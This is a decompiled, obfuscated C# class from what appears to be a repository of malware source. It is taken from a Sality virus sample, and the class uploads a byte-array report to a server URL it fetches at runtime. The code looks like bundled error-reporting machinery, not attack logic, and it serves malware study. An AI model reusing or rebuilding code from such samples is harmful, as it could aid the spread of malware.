MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0006.cs

64 lines
2.1 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0001;
using \u0004;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Net;
using System.Runtime.InteropServices;
namespace \u0004
{
internal sealed class \u0006
{
[NonSerialized]
internal static \u0002 \u0001;
private string \u0001;
private string \u0002 = string.Empty;
private IWebProxy \u0001;
public void \u0003([In] IWebProxy obj0) => this.\u0001 = obj0;
public string \u0003()
{
try
{
UploadReportLoginService reportLoginService = new UploadReportLoginService();
if (this.\u0001 != null)
\u000F\u0005.\u007E\u0006((object) reportLoginService, this.\u0001);
this.\u0002 = reportLoginService.GetServerURL(this.\u0001);
if (\u008A\u0005.\u007E\u0084\u0003((object) this.\u0002) == 0)
throw new ApplicationException(\u0006.\u0001(3164));
return \u0087\u0003.\u007E\u008D\u0003((object) this.\u0002, \u0006.\u0001(2736)) ? this.\u0002 : \u0006.\u0001(2731);
}
catch (Exception ex)
{
return \u0010\u0003.\u0095\u0003(\u0006.\u0001(3205), \u0003\u0006.\u007E\u0001\u0004((object) ex));
}
}
public string \u0003([In] byte[] obj0)
{
try
{
ReportingService reportingService = new ReportingService(this.\u0002);
if (this.\u0001 != null)
\u000F\u0005.\u007E\u0006((object) reportingService, this.\u0001);
return reportingService.UploadReport2(this.\u0001, obj0);
}
catch (Exception ex)
{
return \u0010\u0003.\u0095\u0003(\u0006.\u0001(3222), \u0003\u0006.\u007E\u0001\u0004((object) ex));
}
}
public \u0006([In] string obj0) => this.\u0001 = obj0;
static \u0006() => \u0003.\u0003();
}
}